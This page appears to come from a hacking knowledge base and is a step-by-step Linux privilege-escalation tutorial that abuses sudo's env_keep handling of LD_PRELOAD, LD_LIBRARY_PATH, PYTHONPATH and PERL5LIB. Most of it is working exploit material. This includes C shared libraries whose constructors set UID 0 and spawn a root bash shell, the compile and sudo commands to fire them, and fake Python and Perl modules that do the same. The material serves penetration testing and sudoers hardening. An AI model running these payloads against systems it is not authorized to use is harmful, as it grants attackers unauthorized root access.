# LD_PRELOAD and Environment Variable Hijacking

> Exploiting LD_PRELOAD and environment variables to inject malicious shared libraries, hijacking process execution to escalate privileges on Linux systems.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/ld-preload-environment-hijacking
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-07-14

## LD_PRELOAD and Environment Variable Hijacking

`LD_PRELOAD` instructs the dynamic linker to load a shared library before all others. Any function in that library overrides the system version. When sudo is configured to preserve `LD_PRELOAD` in the environment: via `env_keep` or `SETENV`: you can inject a malicious shared library that executes as root when any allowed sudo command runs.

## Prerequisites Check

Check if sudo preserves environment variables:

```bash
sudo -l
```

Look for any of these patterns in the output:

- `LD_PRELOAD` in env_keep: inject a shared library loaded before all others
- `LD_LIBRARY_PATH` in env_keep: plant fake versions of system libraries
- `PYTHONPATH` in env_keep: hijack Python module imports
- `PERL5LIB` in env_keep: hijack Perl module imports
- `SETENV` tag: allows setting any environment variable

```bash
env_keep += "LD_PRELOAD"
env_keep += "LD_LIBRARY_PATH"
env_keep += "PYTHONPATH"
env_keep += "PERL5LIB"
SETENV
```

If `env_reset` is present without `env_keep` overrides, LD_PRELOAD is stripped by sudo and this technique does not apply. Move to [https://hackindex.io/platforms/linux/privilege-escalation/sudo-misconfiguration](https://hackindex.io/platforms/linux/privilege-escalation/sudo-misconfiguration) for other sudo exploitation paths.

Also check the global sudoers defaults:

```bash
grep -E "env_keep|env_reset|SETENV|LD_PRELOAD" /etc/sudoers /etc/sudoers.d/* 2>/dev/null
```

## LD_PRELOAD via sudo env_keep

When `LD_PRELOAD` is in `env_keep`, it survives the sudo environment reset. Any shared library you specify gets loaded before all others when the sudo command runs: as root.

**Step 1: Write the malicious shared library:**

**/tmp/preload.c**

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
```

The `__attribute__((constructor))` function runs automatically when the library is loaded: before `main()` in the target program. `unsetenv("LD_PRELOAD")` prevents infinite recursion if the spawned shell also inherits it. `-p` preserves the effective UID.

**Step 2: Compile as a shared library:**

```bash
gcc -shared -fPIC -nostartfiles -o /tmp/preload.so /tmp/preload.c
```

`-shared` produces a shared library. `-fPIC` generates position-independent code required for shared libraries. `-nostartfiles` avoids linking standard startup files.

**Step 3: Execute any allowed sudo command with LD_PRELOAD set:**

```bash
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/find
```

Replace `/usr/bin/find` with any command shown in `sudo -l`. The library loads before find runs, the constructor fires as root, and you get a bash shell.

## LD_LIBRARY_PATH via sudo env_keep

`LD_LIBRARY_PATH` prepends directories to the library search path. If preserved by sudo, you can plant a fake version of any shared library the sudo command loads, overriding the system version.

**Step 1: Find what libraries the allowed sudo binary loads:**

```bash
# Identify which command sudo allows
sudo -l

# Check its library dependencies
ldd /usr/sbin/apache2
# e.g. libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1
```

**Step 2: Create a malicious version of one of those libraries:**

**/tmp/libcrypt.c**

```c
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
```

```bash
gcc -shared -fPIC -nostartfiles -o /tmp/libcrypt.so.1 /tmp/libcrypt.c
```

**Step 3: Run the sudo command with your library directory first:**

```bash
sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2
```

The linker searches `/tmp` first, finds your fake `libcrypt.so.1`, loads it, and the constructor fires as root.

## Verifying the Library Loads

If the shell does not spawn, confirm the library is being loaded correctly:

```bash
# Check for errors
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/find 2>&1

# Verify compile output
file /tmp/preload.so
# Should show: ELF 64-bit LSB shared object
```

If you see `cannot open shared object file`, the path is wrong. If you see `invalid ELF header`, compilation failed: check `gcc` output.

## PYTHONPATH Injection

If `PYTHONPATH` is in `env_keep` and sudo allows a Python script, you can inject a malicious Python module that runs as root:

```bash
# Confirm PYTHONPATH in env_keep
sudo -l | grep PYTHONPATH

# Create a malicious module matching an import in the script
# e.g. if the script does 'import os', create a fake os.py
cat > /tmp/os.py << 'EOF'
import subprocess
subprocess.run(["/bin/bash", "-p"])
EOF

# Run with your PYTHONPATH prepended
sudo PYTHONPATH=/tmp /path/to/script.py
```

See [https://hackindex.io/platforms/linux/privilege-escalation/python-library-hijacking](https://hackindex.io/platforms/linux/privilege-escalation/python-library-hijacking) for the full Python library hijacking technique.

## PERL5LIB Injection

Same approach for Perl scripts:

```bash
sudo -l | grep PERL5LIB

# Create a malicious module
mkdir -p /tmp/POSIX
cat > /tmp/POSIX.pm << 'EOF'
package POSIX;
use strict;
system("/bin/bash -p");
1;
EOF

sudo PERL5LIB=/tmp /path/to/script.pl
```

## When env_reset Blocks This

If sudo runs with `env_reset` (the default) and `LD_PRELOAD` is not in `env_keep`, the variable is stripped before the command runs. You cannot inject via environment in this configuration.

Check whether the system sudoers disables env_reset:

```bash
grep "env_reset\|!env_reset" /etc/sudoers /etc/sudoers.d/* 2>/dev/null
```

`!env_reset` disables the reset entirely, making every environment variable available. This is rare but extremely impactful when present.

## References

- [ld.so(8) Manual](https://man7.org/linux/man-pages/man8/ld.so.8.html) - LD_PRELOAD, LD_LIBRARY_PATH behavior and security restrictions.
- [sudoers(5) Manual](https://man7.org/linux/man-pages/man5/sudoers.5.html) - env_keep, env_reset, and SETENV directive documentation.
